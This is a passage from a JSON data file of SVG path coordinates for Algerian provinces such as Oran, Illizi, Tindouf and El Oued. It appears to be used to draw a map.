-0.845 c 0 0 -0.981 0.025 -0.981 0.025 c 0 0 -0.675 0.67 -0.675 0.67 c 0 0 -1.5 0.109 -1.5 0.109 c 0 0 -0.331 2.201 -0.331 2.201 c 0 0 -2.492 1.917 -2.492 1.917 c 0 0 -1.325 0.012 -1.325 0.012 c 0 0 -0.406 -0.761 -0.406 -0.761 c 0 0 -2.549 -0.737 -2.549 -0.737 c 0 0 -0.751 1.339 -0.751 1.339 c 0 0 -0.854 0.255 -0.854 0.255 c 0 0 -0.794 -0.59 -0.794 -0.59 c 0 0 -2.608 2.264 -2.608 2.264 c 0 0 1.342 1.429 1.342 1.429 c 0 0 -0.223 0.719 -0.223 0.719 c 0 0 1.009 0.007 1.009 0.007 c 0 0 -0.384 1.019 -0.384 1.019 c 0 0 -0.893 0.252 -0.893 0.252 c 0 0 0.174 1.591 0.174 1.591 c 0 0 0.012 -0.62 0.012 -0.62 c 0 0 0.895 -0.047 0.895 -0.047 c 0 0 -0.201 -0.596 -0.201 -0.596 c 0 0 0.82 0.656 0.82 0.656 c 0 0 1.569 0.021 1.569 0.021 c 0 0 5.066 -1.624 5.066 -1.624 c 0 0 0.775 2.922 0.775 2.922 c 0 0 -0.772 0.564 -0.772 0.564 c 0 0 -0.026 1.101 -0.026 1.101 c 0 0 0.184 0.673 0.184 0.673 c 0 0 1.502 -0.747 1.502 -0.747 c 0 0 -0.24 -0.964 -0.24 -0.964 c 0 0 0.64 -0.997 0.64 -0.997 c 0 0 0 0 0 0 c 0 0 0 0 0 0","name":"Oran"},"32":{"path":"M 233.026 90.7739 c 0 0 -2.853 -0.734 -2.853 -0.734 c 0 0 -4.583 3.134 -4.583 3.134 c 0 0 -1.732 -2.296 -1.732 -2.296 c 0 0 -2.898 2.009 -2.898 2.009 c 0 0 -2.172 -0.253 -2.172 -0.253 c 0 0 -2.096 -2.128 -2.096 -2.128 c 0 0 -2.331 -0.763 -2.331 -0.763 c 0 0 1.232 5.509 1.232 5.509 c 0 0 -0.942 0.691 -0.942 0.691 c 0 0 -1.501 3.065 -1.501 3.065 c 0 0 0.176 2.472 0.176 2.472 c 0 0 1.795 -0.807 1.795 -0.807 c 0 0 1.055 0.748 1.055 0.748 c 0 0 -0.204 2.644 -0.204 2.644 c 0 0 0.751 0.279 0.751 0.279 c 0 0 0.729 1.792 0.729 1.792 c 0 0 0.76 0.113 0.76 0.113 c 0 0 -2.122 1.127 -2.122 1.127 c 0 0 0.828 2.979 0.828 2.979 c 0 0 -2.93 13.106 -2.93 13.106 c 0 0 0.842 2.448 0.842 2.448 c 0 0 -0.887 0.991 -0.887 0.991 c 0 0 0.673 0.434 0.673 0.434 c 0 0 -0.593 1.588 -0.593 1.588 c 0 0 -1.563 0.854 -1.563 0.854 c 0 0 -0.278 1.842 -0.278 1.842 c 0 0 0.827 0.472 0.827 0.472 c 0 0 -0.269 1.131 -0.269 1.131 c 0 0 0.979 1.097 0.979 1.097 c 0 0 -0.397 1.534 -0.397 1.534 c 0 0 0.431 2.391 0.431 2.391 c 0 0 -2.988 5.758 -2.988 5.758 c 0 0 -0.953 4.385 -0.953 4.385 c 0 0 -2.081 -0.471 -2.081 -0.471 c 0 0 -1.103 0.817 -1.103 0.817 c 0 0 -1.05 2.219 -1.05 2.219 c 0 0 -0.139 4.177 -0.139 4.177 c 0 0 0.68 2.281 0.68 2.281 c 0 0 -0.686 0.065 -0.686 0.065 c 0 0 0.179 0.967 0.179 0.967 c 0 0 -0.602 0.846 -0.602 0.846 c 0 0 0.955 1.181 0.955 1.181 c 0 0 -1.242 1.21 -1.242 1.21 c 0 0 1.247 2.015 1.247 2.015 c 0 0 -1.014 1.203 -1.014 1.203 c 0 0 0.036 1.864 0.036 1.864 c 0 0 0.852 1.823 0.852 1.823 c 0 0 2.918 2.352 2.918 2.352 c 0 0 -0.818 2.98 -0.818 2.98 c 0 0 14.029 11.903 14.029 11.903 c 0 0 15.816 -11.179 15.816 -11.179 c 0 0 21.085 -13.183 21.085 -13.183 c 0 0 4.648 -5.149 4.648 -5.149 c 0 0 -0.721 -8.611 -0.721 -8.611 c 0 0 2.573 -1.672 2.573 -1.672 c 0 0 -1.918 -7.688 -1.918 -7.688 c 0 0 -0.564 -6.182 -0.564 -6.182 c 0 0 -3.111 -6.564 -3.111 -6.564 c 0 0 0.146 -1.528 0.146 -1.528 c 0 0 -0.641 -0.886 -0.641 -0.886 c 0 0 3.997 -0.134 3.997 -0.134 c 0 0 0.203 -3.901 0.203 -3.901 c 0 0 -2.073 0.452 -2.073 0.452 c 0 0 -3.52 -1.138 -3.52 -1.138 c 0 0 0.205 -1.673 0.205 -1.673 c 0 0 -3.122 -0.287 -3.122 -0.287 c 0 0 0.285 -2.856 0.285 -2.856 c 0 0 0.82 -1.435 0.82 -1.435 c 0 0 -1.142 -1.009 -1.142 -1.009 c 0 0 -0.124 -0.991 -0.124 -0.991 c 0 0 -1.457 -0.411 -1.457 -0.411 c 0 0 0.247 -2.655 0.247 -2.655 c 0 0 -0.565 -1.551 -0.565 -1.551 c 0 0 -1.828 -1.584 -1.828 -1.584 c 0 0 -3.495 0.817 -3.495 0.817 c 0 0 -1.613 -1.795 -1.613 -1.795 c 0 0 -2.206 -0.969 -2.206 -0.969 c 0 0 0.165 -0.989 0.165 -0.989 c 0 0 -0.863 -1.461 -0.863 -1.461 c 0 0 -1.119 -1.576 -1.119 -1.576 c 0 0 -0.215 -1.844 -0.215 -1.844 c 0 0 -5.541 0.295 -5.541 0.295 c 0 0 0.672 -4.884 0.672 -4.884 c 0 0 -3.971 -0.823 -3.971 -0.823 c 0 0 0 0 0 0 c 0 0 0 0 0 0","name":"El-Bayadh"},"33":{"path":"M 454.129 387.74 c 0 0 -0.719 -20.563 -0.719 -20.563 c 0 0 -7.48 -4.23 -7.48 -4.23 c 0 0 -2.209 0.049 -2.209 0.049 c 0 0 -1.657 -1.011 -1.657 -1.011 c 0 0 -13.903 0.818 -13.903 0.818 c 0 0 -12.891 9.613 -12.891 9.613 c 0 0 -17.177 4.161 -17.177 4.161 c 0 0 -6.243 -4.393 -6.243 -4.393 c 0 0 1.974 -2.232 1.974 -2.232 c 0 0 -5.578 -12.361 -5.578 -12.361 c 0 0 -1.04 -10.938 -1.04 -10.938 c 0 0 0.237 -3.784 0.237 -3.784 c 0 0 -5.594 -8.033 -5.594 -8.033 c 0 0 -4.477 -0.14 -4.477 -0.14 c 0 0 -2.836 -2.179 -2.836 -2.179 c 0 0 -3.687 -6.237 -3.687 -6.237 c 0 0 -1.628 -4.169 -1.628 -4.169 c 0 0 -5.061 -6.142 -5.061 -6.142 c 0 0 -5.932 -16.141 -5.932 -16.141 c 0 0 -1.532 -1.133 -1.532 -1.133 c 0 0 -0.138 -1.004 -0.138 -1.004 c 0 0 -2.248 -0.6 -2.248 -0.6 c 0 0 -1.181 -1.556 -1.181 -1.556 c 0 0 1.06 -3.063 1.06 -3.063 c 0 0 2.819 -2.35 2.819 -2.35 c 0 0 -0.418 -1.914 -0.418 -1.914 c 0 0 -12.688 -11.211 -12.688 -11.211 c 0 0 -0.038 -8.717 -0.038 -8.717 c 0 0 -3.731 -17.58 -3.731 -17.58 c 0 0 1.773 -8.354 1.773 -8.354 c 0 0 -1.295 -33.809 -1.295 -33.809 c 0 0 15.876 -8.912 15.876 -8.912 c 0 0 2.796 0.888 2.796 0.888 c 0 0 63.493 -16.461 63.493 -16.461 c 0 0 2.411 8.262 2.411 8.262 c 0 0 -3.099 1.292 -3.099 1.292 c 0 0 -0.465 1.084 -0.465 1.084 c 0 0 0.689 2.608 0.689 2.608 c 0 0 2.979 3.429 2.979 3.429 c 0 0 6.166 11.784 6.166 11.784 c 0 0 2.729 9.976 2.729 9.976 c 0 0 1.149 6.791 1.149 6.791 c 0 0 -0.747 12.151 -0.747 12.151 c 0 0 3.65 10.479 3.65 10.479 c 0 0 -0.548 4.821 -0.548 4.821 c 0 0 -1.157 2.46 -1.157 2.46 c 0 0 -1.083 0.37 -1.083 0.37 c 0 0 1.397 0.222 1.397 0.222 c 0 0 -0.245 1.499 -0.245 1.499 c 0 0 -1.049 1.133 -1.049 1.133 c 0 0 -0.483 2.826 -0.483 2.826 c 0 0 0.133 2.473 0.133 2.473 c 0 0 2.239 7.597 2.239 7.597 c 0 0 1.692 2.23 1.692 2.23 c 0 0 0.099 5.493 0.099 5.493 c 0 0 -0.928 3.311 -0.928 3.311 c 0 0 -7.815 3.964 -7.815 3.964 c 0 0 -1.079 3.438 -1.079 3.438 c 0 0 -1.214 1.554 -1.214 1.554 c 0 0 16.01 20.327 16.01 20.327 c 0 0 0.78 10.061 0.78 10.061 c 0 0 4.756 7.704 4.756 7.704 c 0 0 3.475 2.664 3.475 2.664 c 0 0 4.406 -0.238 4.406 -0.238 c 0 0 1.539 -1.13 1.539 -1.13 c 0 0 2.129 -0.146 2.129 -0.146 c 0 0 1.531 1.491 1.531 1.491 c 0 0 1.29 -1.619 1.29 -1.619 c 0 0 1.709 0.246 1.709 0.246 c 0 0 1.289 0.52 1.289 0.52 c 0 0 2.539 2.53 2.539 2.53 c 0 0 2.012 0.66 2.012 0.66 c 0 0 7.08 4.37 7.08 4.37 c 0 0 4.112 -1.98 4.112 -1.98 c 0 0 10.551 17.862 10.551 17.862 c 0 0 -39.276 29.119 -39.276 29.119 c 0 0 0 0 0 0 c 0 0 0 0 0 0","name":"Illizi"},"34":{"path":"M 320.989 54.6068 c 0 0 -0.019 -1.603 -0.019 -1.603 c 0 0 2.087 -0.288 2.087 -0.288 c 0 0 -0.482 -2.927 -0.482 -2.927 c 0 0 1.669 -2.858 1.669 -2.858 c 0 0 -0.971 -0.972 -0.971 -0.972 c 0 0 0.127 -2.078 0.127 -2.078 c 0 0 -0.963 -0.272 -0.963 -0.272 c 0 0 -1.479 -2.545 -1.479 -2.545 c 0 0 -1.203 -0.363 -1.203 -0.363 c 0 0 -0.962 0.653 -0.962 0.653 c 0 0 -2.853 0.298 -2.853 0.298 c 0 0 -0.779 -0.983 -0.779 -0.983 c 0 0 0.3 -1.875 0.3 -1.875 c 0 0 -1.258 -0.672 -1.258 -0.672 c 0 0 -0.336 1.124 -0.336 1.124 c 0 0 -2.018 0.919 -2.018 0.919 c 0 0 -0.034 2.49 -0.034 2.49 c 0 0 -4.18 1.099 -4.18 1.099 c 0 0 -0.774 -1.701 -0.774 -1.701 c 0 0 -0.783 0.919 -0.783 0.919 c 0 0 -1.362 -0.093 -1.362 -0.093 c 0 0 -0.794 1.241 -0.794 1.241 c 0 0 -1.708 0.861 -1.708 0.861 c 0 0 -0.186 2.385 -0.186 2.385 c 0 0 -1.469 1.134 -1.469 1.134 c 0 0 0.569 1.104 0.569 1.104 c 0 0 2.211 -0.77 2.211 -0.77 c 0 0 2.755 0.987 2.755 0.987 c 0 0 3.392 -1.461 3.392 -1.461 c 0 0 0.863 2.774 0.863 2.774 c 0 0 -1.616 0.625 -1.616 0.625 c 0 0 -0.689 2.095 -0.689 2.095 c 0 0 2.823 0.292 2.823 0.292 c 0 0 -0.36 -0.99 -0.36 -0.99 c 0 0 1.328 -0.64 1.328 -0.64 c 0 0 -0.387 1.092 -0.387 1.092 c 0 0 0.664 0.766 0.664 0.766 c 0 0 2.07 -1.562 2.07 -1.562 c 0 0 2.722 -0.532 2.722 -0.532 c 0 0 1.327 1.669 1.327 1.669 c 0 0 1.167 -0.05 1.167 -0.05 c 0 0 0.184 1.218 0.184 1.218 c 0 0 1.407 -0.51 1.407 -0.51 c 0 0 0 0 0 0 c 0 0 0 0 0 0","name":"Bord-Bou-Arréridj"},"35":{"path":"M 284.507 35.4899 c 0 0 2.089 0.118 2.089 0.118 c 0 0 1.365 -0.714 1.365 -0.714 c 0 0 0.479 -0.984 0.479 -0.984 c 0 0 4.716 0.709 4.716 0.709 c 0 0 -0.218 -1.694 -0.218 -1.694 c 0 0 1.416 -0.319 1.416 -0.319 c 0 0 0.847 0.593 0.847 0.593 c 0 0 -0.165 -1.289 -0.165 -1.289 c 0 0 1.354 0.313 1.354 0.313 c 0 0 -0.771 -0.862 -0.771 -0.862 c 0 0 0.386 -1.441 0.386 -1.441 c 0 0 1.042 0.231 1.042 0.231 c 0 0 0.18 -0.604 0.18 -0.604 c 0 0 0.944 -0.077 0.944 -0.077 c 0 0 0.045 -0.779 0.045 -0.779 c 0 0 1.354 -1.163 1.354 -1.163 c 0 0 -0.135 -1.239 -0.135 -1.239 c 0 0 -3.063 -0.523 -3.063 -0.523 c 0 0 -3.242 1.034 -3.242 1.034 c 0 0 -0.906 1.079 -0.906 1.079 c 0 0 -3.85 1.986 -3.85 1.986 c 0 0 -2.822 -0.274 -2.822 -0.274 c 0 0 -0.271 0.609 -0.271 0.609 c 0 0 0.658 -0.216 0.658 -0.216 c 0 0 0.03 1.021 0.03 1.021 c 0 0 -2.279 0.745 -2.279 0.745 c 0 0 -0.66 -0.482 -0.66 -0.482 c 0 0 0.392 0.701 0.392 0.701 c 0 0 -0.689 0.547 -0.689 0.547 c 0 0 0.756 1.311 0.756 1.311 c 0 0 0.888 -0.351 0.888 -0.351 c 0 0 -0.536 0.479 -0.536 0.479 c 0 0 0.471 0.856 0.471 0.856 c 0 0 -0.385 0.413 -0.385 0.413 c 0 0 0.58 0.266 0.58 0.266 c 0 0 0 0 0 0 c 0 0 0 0 0 0","name":"Boumerdès"},"36":{"path":"M 378.015 24.8629 c 0 0 0.366 0.686 0.366 0.686 c 0 0 -1.139 0.009 -1.139 0.009 c 0 0 -0.031 1.328 -0.031 1.328 c 0 0 -0.939 -0.144 -0.939 -0.144 c 0 0 -0.969 1.141 -0.969 1.141 c 0 0 0.427 0.747 0.427 0.747 c 0 0 -0.57 1.447 -0.57 1.447 c 0 0 0.937 -0.31 0.937 -0.31 c 0 0 0.687 0.501 0.687 0.501 c 0 0 1.188 2.609 1.188 2.609 c 0 0 1.168 -0.382 1.168 -0.382 c 0 0 0.201 0.542 0.201 0.542 c 0 0 -0.047 -0.771 -0.047 -0.771 c 0 0 1.299 0.586 1.299 0.586 c 0 0 0.92 1.85 0.92 1.85 c 0 0 1.383 -0.02 1.383 -0.02 c 0 0 0.272 1.761 0.272 1.761 c 0 0 0.823 -1.258 0.823 -1.258 c 0 0 1.821 -0.823 1.821 -0.823 c 0 0 -0.327 -0.753 -0.327 -0.753 c 0 0 0.471 -0.48 0.471 -0.48 c 0 0 2.326 -0.796 2.326 -0.796 c 0 0 2.308 -2.13 2.308 -2.13 c 0 0 0.916 -0.119 0.916 -0.119 c 0 0 0.696 -2.05 0.696 -2.05 c 0 0 -0.425 -1.147 -0.425 -1.147 c 0 0 -0.861 -0.401 -0.861 -0.401 c 0 0 2.97 -0.532 2.97 -0.532 c 0 0 1.982 -1.323 1.982 -1.323 c 0 0 0.178 -0.521 0.178 -0.521 c 0 0 -1.188 -0.337 -1.188 -0.337 c 0 0 0.199 -2.228 0.199 -2.228 c 0 0 -4.452 1.441 -4.452 1.441 c 0 0 -1.429 -0.654 -1.429 -0.654 c 0 0 -1.822 0.272 -1.822 0.272 c 0 0 -0.981 -0.861 -0.981 -0.861 c 0 0 -4.735 2.676 -4.735 2.676 c 0 0 -3.623 0.444 -3.623 0.444 c 0 0 0 0 0 0 c 0 0 0 0 0 0","name":"El-Taref"},"37":{"path":"M 144.372 270.771 c 0 0 -13.244 -1.683 -13.244 -1.683 c 0 0 -3.001 -2.419 -3.001 -2.419 c 0 0 -5.835 -7.099 -5.835 -7.099 c 0 0 -0.084 -7.644 -0.084 -7.644 c 0 0 -6.775 -12.676 -6.775 -12.676 c 0 0 -5.777 -21.184 -5.777 -21.184 c 0 0 -5.817 -3.172 -5.817 -3.172 c 0 0 -8.409 -0.353 -8.409 -0.353 c 0 0 -4.977 -4.181 -4.977 -4.181 c 0 0 -1.59 2.116 -1.59 2.116 c 0 0 -2.652 -1.77 -2.652 -1.77 c 0 0 -1.38 0.46 -1.38 0.46 c 0 0 0.685 -1.695 0.685 -1.695 c 0 0 -1.662 -0.829 -1.662 -0.829 c 0 0 -5.937 0.964 -5.937 0.964 c 0 0 -2.253 -0.648 -2.253 -0.648 c 0 0 -5.062 0.498 -5.062 0.498 c 0 0 -1.257 -0.472 -1.257 -0.472 c 0 0 -1.854 1.008 -1.854 1.008 c 0 0 -3.731 -0.108 -3.731 -0.108 c 0 0 -1.934 1.228 -1.934 1.228 c 0 0 -8.19 -2.131 -8.19 -2.131 c 0 0 -5.64 3.248 -5.64 3.248 c 0 0 -4.957 -0.147 -4.957 -0.147 c 0 0 -1.001 1.766 -1.001 1.766 c 0 0 -3.104 0.861 -3.104 0.861 c 0 0 -4.236 3.001 -4.236 3.001 c 0 0 -5.013 2.403 -5.013 2.403 c 0 0 -6.767 5.049 -6.767 5.049 c 0 0 -4.839 1.729 -4.839 1.729 c 0 0 -3.193 35.971 -3.193 35.971 c 0 0 65.958 50.321 65.958 50.321 c 0 0 12.962 -4.238 12.962 -4.238 c -0.001 0 7.204 -6.951 7.204 -6.951 c 0 0 14.179 0.237 14.179 0.237 c 0 0 3.038 -6.721 3.038 -6.721 c 0 0 7.18 -9.721 7.18 -9.721 c 0 0 2.317 -1.98 2.317 -1.98 c 0 0 3.858 -1.585 3.858 -1.585 c 0 0 7.686 0.562 7.686 0.562 c 0 0 1.78 -1.06 1.78 -1.06 c 0 0 3.324 -10.955 3.324 -10.955 c 0 0 0 0 0 0 c 0 0 0 0 0 0","name":"Tindouf"},"38":{"path":"M 244.49 53.8549 c 0 0 0.771 0.672 0.771 0.672 c 0 0 -1.122 1.335 -1.122 1.335 c 0 0 -0.706 -0.143 -0.706 -0.143 c 0 0 -0.332 -0.894 -0.332 -0.894 c 0 0 -0.993 0.542 -0.993 0.542 c 0 0 0.206 1.651 0.206 1.651 c 0 0 -0.649 1.073 -0.649 1.073 c 0 0 1.344 1.67 1.344 1.67 c 0 0 0.59 -2.298 0.59 -2.298 c 0 0 1.271 0.932 1.271 0.932 c 0 0 0.538 -0.305 0.538 -0.305 c 0 0 1.353 0.765 1.353 0.765 c 0 0 0.062 1.415 0.062 1.415 c 0 0 1.953 -0.175 1.953 -0.175 c 0 0 1.045 1.72 1.045 1.72 c 0 0 0.813 0.154 0.813 0.154 c 0 0 0.172 -1.047 0.172 -1.047 c 0 0 0.958 0.974 0.958 0.974 c 0 0 3.797 -0.434 3.797 -0.434 c 0 0 2.436 -1.337 2.436 -1.337 c 0 0 -0.56 0.671 -0.56 0.671 c 0 0 1.55 0.067 1.55 0.067 c 0 0 -0.029 0.951 -0.029 0.951 c 0 0 3.701 -0.316 3.701 -0.316 c 0 0 0.708 -1.967 0.708 -1.967 c 0 0 -2.81 -0.739 -2.81 -0.739 c 0 0 -0.347 -1.359 -0.347 -1.359 c 0 0 0.504 -0.619 0.504 -0.619 c 0 0 2.226 0.229 2.226 0.229 c 0 0 0.901 -3.905 0.901 -3.905 c 0 0 -1.561 -0.133 -1.561 -0.133 c 0 0 -0.842 -1.107 -0.842 -1.107 c 0 0 -1.228 -0.057 -1.228 -0.057 c 0 0 -0.44 -0.937 -0.44 -0.937 c 0 0 -2.687 0.709 -2.687 0.709 c 0 0 0.006 -1.004 0.006 -1.004 c 0 0 -2.634 2.928 -2.634 2.928 c 0 0 -0.774 0.021 -0.774 0.021 c 0 0 -0.399 -1.149 -0.399 -1.149 c 0 0 -2.134 -0.251 -2.134 -0.251 c 0 0 -1.909 -1.17 -1.909 -1.17 c 0 0 -1.035 -1.876 -1.035 -1.876 c 0 0 -1.22 1.163 -1.22 1.163 c 0 0 -0.035 0.865 -0.035 0.865 c 0 0 -2.264 0.618 -2.264 0.618 c 0 0 0.384 0.35 0.384 0.35 c 0 0 -0.518 0.333 -0.518 0.333 c 0 0 -0.061 1.414 -0.061 1.414 c 0 0 0 0 0 0 c 0 0 0 0 0 0","name":"Tissemsilt"},"39":{"path":"M 381.341 91.9338 c 0 0 -8.26 -0.416 -8.26 -0.416 c 0 0 -4.264 -1.485 -4.264 -1.485 c 0 0 -4.422 0.397 -4.422 0.397 c 0 0 -0.09 4.578 -0.09 4.578 c 0 0 -1.543 -0.353 -1.543 -0.353 c 0 0 -5.193 -3.142 -5.193 -3.142 c 0 0 -0.05 -2.156 -0.05 -2.156 c 0 0 -1.726 2.196 -1.726 2.196 c 0 0 -1.654 0.581 -1.654 0.581 c 0 0 -1.451 -1.393 -1.451 -1.393 c 0 0 -5.732 -2.047 -5.732 -2.047 c 0 0 -5.311 1.305 -5.311 1.305 c 0 0 -11.927 -1.27 -11.927 -1.27 c 0 0 -2.287 -1.521 -2.287 -1.521 c 0 0 -1.104 0.629 -1.104 0.629 c 0 0 0.72 0.627 0.72 0.627 c 0 0 -1.889 1.328 -1.889 1.328 c 0 0 1.198 1.354 1.198 1.354 c 0 0 -0.702 1.853 -0.702 1.853 c 0 0 3.667 3.255 3.667 3.255 c 0 0 -1.968 4.695 -1.968 4.695 c 0 0 -0.858 4.001 -0.858 4.001 c 0 0 1.083 2.091 1.083 2.091 c 0 0 0.35 4.628 0.35 4.628 c 0 0 0.688 1.585 0.688 1.585 c 0 0 -0.662 1.726 -0.662 1.726 c 0 0 17.299 -0.319 17.299 -0.319 c 0 0 -0.374 -2.7 -0.374 -2.7 c 0 0 -1.172 -1.467 -1.172 -1.467 c 0 0 0.955 -1.07 0.955 -1.07 c 0 0 -0.04 -2.557 -0.04 -2.557 c 0 0 -1.138 -2.602 -1.138 -2.602 c 0 0 0.047 -1.4 0.047 -1.4 c 0 0 0.665 -0.606 0.665 -0.606 c 0 0 0.552 1.049 0.552 1.049 c 0 0 2.721 -2.135 2.721 -2.135 c 0 0 0.762 -0.112 0.762 -0.112 c 0 0 0.521 1.041 0.521 1.041 c 0 0 0.319 -0.807 0.319 -0.807 c 0 0 1.219 7.663 1.219 7.663 c 0 0 8.097 22.969 8.097 22.969 c 0 0 7.777 11.58 7.777 11.58 c 0 0 5.501 6.366 5.501 6.366 c 0 0 39.729 -4.259 39.729 -4.259 c 0 0 -15.994 -9.721 -15.994 -9.721 c 0 0 -1.19 -8.167 -1.19 -8.167 c 0 0 -4.769 -5.554 -4.769 -5.554 c 0 0 -0.044 -1.279 -0.044 -1.279 c 0 0 -4.671 -1.931 -4.671 -1.931 c 0 0 -1.588 -0.012 -1.588 -0.012 c 0 0 -1.992 -6.096 -1.992 -6.096 c 0 0 -3.565 -5.578 -3.565 -5.578 c 0 0 -0.276 -2.739 -0.276 -2.739 c 0 0 -1.411 -1.059 -1.411 -1.059 c 0 0 0.465 -1.005 0.465 -1.005 c 0 0 -0.633 -1.784 -0.633 -1.784 c 0 0 0.574 -2.841 0.574 -2.841 c 0 0 -0.731 -1.183 -0.731 -1.183 c 0 0 1.695 -1.198 1.695 -1.198 c 0 0 0.905 -2.192 0.905 -2.192 c 0 0 1.676 0.677 1.676 0.677 c 0 0 1.6 -1.261 1.6 -1.261 c 0 0 -0.104 -0.757 -0.104 -0.757 c 0 0 0 0 0 0 c 0 0 0 0 0 0","name":"El Oued"},"40":{"path":"M 368.82 90.0319 c 0 0 0.773 -5.083 0.773 -5.083 c 0 0 2.108 -3.938 2.108 -3.938 c 0 0 0.024 -1.697 0.024 -1.697 c 0 0 -0.637 -0.956 -0.637 -0.956 c 0 0 0.749 -2.004 0.749 -2.004 c 0 0 -0.868 -2.387 -0.868 -2.387 c 0 0 -1.271 -0.098 -1.271 -0.098 c 0 0 -0.661 0.97 -0.661 0.97 c 0 0 -0.441 1.352 -0.441 1.352 c 0 0 0.5 -0.146 0.5 -0.146 c 0 0 -0.088 1.582 -0.088 1.582 c 0 0 -0.908 -2.111 -0.908 -2.111 c 0 0 1.39 -3.602 1.39 -3.602 c 0 0 1.306 -0.817 1.306 -0.817 c 0 0 1.429 -2.436 1.429 -2.436 c 0 0 -1.051 -1.557 -1.051 -1.557 c 0 0 0.787 -1.188 0.787 -1.188 c 0 0 -0.763 -0.573 -0.763 -0.573 c 0 0 -0.117 -2.443 -0.117 -2.443 c 0 0 3.133 -1.131 3.133 -1.131 c 0 0 -0.659 -1.052 -0.659 -1.052 c 0 0 -0.692 -0.061 -0.692 -0.061 c 0 0 -0.333 -1.191 -0.333 -1.191 c 0 0 -0.393 -0.313 -0.393 -0.313 c 0 0 -0.6 0.601 -0.6 0.601 c 0 0 0.179 -0.579 0.179 -0.579 c 0 0 -1.313 -0.926 -1.313 -0.926 c 0 0 -0.409 1.4 -0.409 1.4 c 0 0 -1.048 0.308 -1.048 0.308 c 0 0 0.063 -2.164 0.063 -2.164 c 0 0 -1.77 -0.877 -1.77 -0.877 c 0 0 -0.119 0.549 -0.119 0.549 c 0 0 -1.815 -0.27 -1.815 -0.27 c 0 0 -0.957 2.009 -0.957 2.009 c 0 0 -1.648 -0.483 -1.648 -0.483 c 0 0 0.408 -1.016 0.408 -1.016 c 0 0 -0.614 -0.53 -0.614 -0.53 c 0 0 -4.031 0.609 -4.031 0.609 c 0 0 -0.774 -1.595 -0.774 -1.595 c 0 0 -0.214 1.337 -0.214 1.337 c 0 0 0.74 1.491 0.74 1.491 c 0 0 -0.612 1.515 -0.612 1.515 c 0 0 -2.418 0.598 -2.418 0.598 c 0 0 -1.491 1.387 -1.491 1.387 c 0 0 0.634 1.334 0.634 1.334 c 0 0 -0.178 1.438 -0.178 1.438 c 0 0 1.052 0.219 1.052 0.219 c 0 0 -1.644 1.396 -1.644 1.396 c 0 0 0.23 2.636 0.23 2.636 c 0 0 -1.308 1.429 -1.308 1.429 c 0 0 0.438 1.353 0.438 1.353 c 0 0 -0.401 0.844 -0.401 0.844 c 0 0 0.802 0.146 0.802 0.146 c 0 0 1.347 2.256 1.347 2.256 c 0 0 -0.499 0.58 -0.499 0.58 c 0 0 0.611 0.482 0.611 0.482 c 0 0 -0.812 0.796 -0.812 0.796 c 0 0 0.634 2.146 0.634 2.146 c 0 0 1.087 -0.603 1.087 -0.603 c 0 0 0.737 -1.717 0.737 -1.717 c 0 0 1.138 -0.063 1.138 -0.063 c 0 0 -0.399 0.473 -0.399 0.473 c 0 0 1.047 1.056 1.047 1.056 c 0 0 -0.415 0.997 -0.415 0.997 c 0 0 0.821 -0.196 0.821 -0.196 c 0 0 -0.726 2.389 -0.726 2.389 c 0 0 0.163 3.493 0.163 3.493 c 0 0 -1.047 2.038 -1.047 2.038 c 0 0 0.517 1.927 0.517 1.927 c 0 0 0.05 2.157 0.05 2.157 c 0 0 5.193 3.14 5.193 3.14 c 0 0 1.543 0.354 1.543 0.354 c 0 0 0.09 -4.578 0.09 -4.578 c 0 0 4.421 -0.406 4.421 -0.406 c 0 0 0 0 0 0 c 0 0 0 0 0 0","name":"Khenchela"},"41":{"path":"M 389.163 47.3318 c 0 0 -2.177 -1.081 -2.177 -1.081 c 0 0 -2.499 1.112 -2.499 1.112 c 0 0 -1.255 -0.156 -1.255 -0.156 c 0 0 -2.103 2.353 -2.103 2.353 c 0 0 -1.622 0.03 -1.622 0.03 c 0 0 -1.877 -1.4 -1.877 -1.4 c 0 0 -0.397 1.363 -0.397 1.363 c 0 0 -0.817 0.485 -0.817 0.485 c 0 0 0.354 1.537 0.354 1.537 c 0 0 -2.814 0.214 -2.814 0.214 c 0 0 0.03 -1.478 0.03 -1.478 c 0 0 -2.674 -0.94 -2.674 -0.94 c 0 0 -1.024 -1.331 -1.024 -1.331 c 0 0 -0.649 -2.12 -0.649 -2.12 c 0 0 -0.736 -0.046 -0.736 -0.046 c 0 0 -0.424 -2.263 -0.424 -2.263 c 0 0 -0.75 -0.918 -0.75 -0.918 c 0 0 0.494 -1.348 0.494 -1.348 c 0 0 2.854 0.539 2.854 0.539 c 0 0 2.52 -0.934 2.52 -0.934 c 0 0 1.194 0.271 1.194 0.271 c 0 0 2.159 -2.081 2.159 -2.081 c 0 0 2.218 -0.172 2.218 -0.172 c 0 0 0.375 -0.438 0.375 -0.438 c 0 0 -1.08 -1.382 -1.08 -1.382 c 0 0 0.194 -1.316 0.194 -1.316 c 0 0 1.022 0.411 1.022 0.411 c 0 0 1.832 -1.544 1.832 -1.544 c 0 0 1.383 -0.021 1.383 -0.021 c 0 0 0.272 1.761 0.272 1.761 c 0 0 0.821 -1.258 0.821 -1.258 c 0 0 1.822 -0.823 1.822 -0.823 c 0 0 3.195 0.846 3.195 0.846 c 0 0 0.745 -0.53 0.745 -0.53 c 0 0 1.177 0.636 1.177 0.636 c 0 0 -0.594 1.719 -0.594 1.719 c 0 0 0.381 1.252 0.381 1.252 c 0 0 -1.052 1.066 -1.052 1.066 c 0 0 0.396 0.812 0.396 0.812 c 0 0 -0.868 1.572 -0.868 1.572 c 0 0 0.833 1.825 0.833 1.825 c 0 0 -0.868 1.552 -0.868 1.552 c 0 0 0.009 2.224 0.009 2.224 c 0 0 0 0 0 0 c 0 0 0 0 0 0","name":"Souk Ahras"},"42":{"path":"M 250.882 35.7498 c 0 0 -1.098 2.467 -1.098 2.467 c 0 0 1.42 2.608 1.42 2.608 c 0 0 1.47 -1.099 1.47 -1.099 c 0 0 0.288 -1.11 0.288 -1.11 c 0 0 3.892 0.806 3.892 0.806 c 0 0 2.96 -0.969 2.96 -0.969 c 0 0 2.729 0.814 2.729 0.814 c 0 0 4.677 0.011 4.677 0.011 c 0 0 1.037 -1.463 1.037 -1.463 c 0 0 1.568 0.302 1.568 0.302 c 0 0 0.447 -0.642 0.447 -0.642 c 0 0 -0.442 -0.802 -0.442 -0.802 c 0 0 1.06 -0.14 1.06 -0.14 c 0 0 1.479 -1.647 1.479 -1.647 c 0 0 2.109 -0.599 2.109 -0.599 c 0 0 -0.34 -1.022 -0.34 -1.022 c 0 0 -0.134 -1.446 -0.134 -1.446 c 0 0 -5.189 2.836 -5.189 2.836 c 0 0 -2.726 -0.038 -2.726 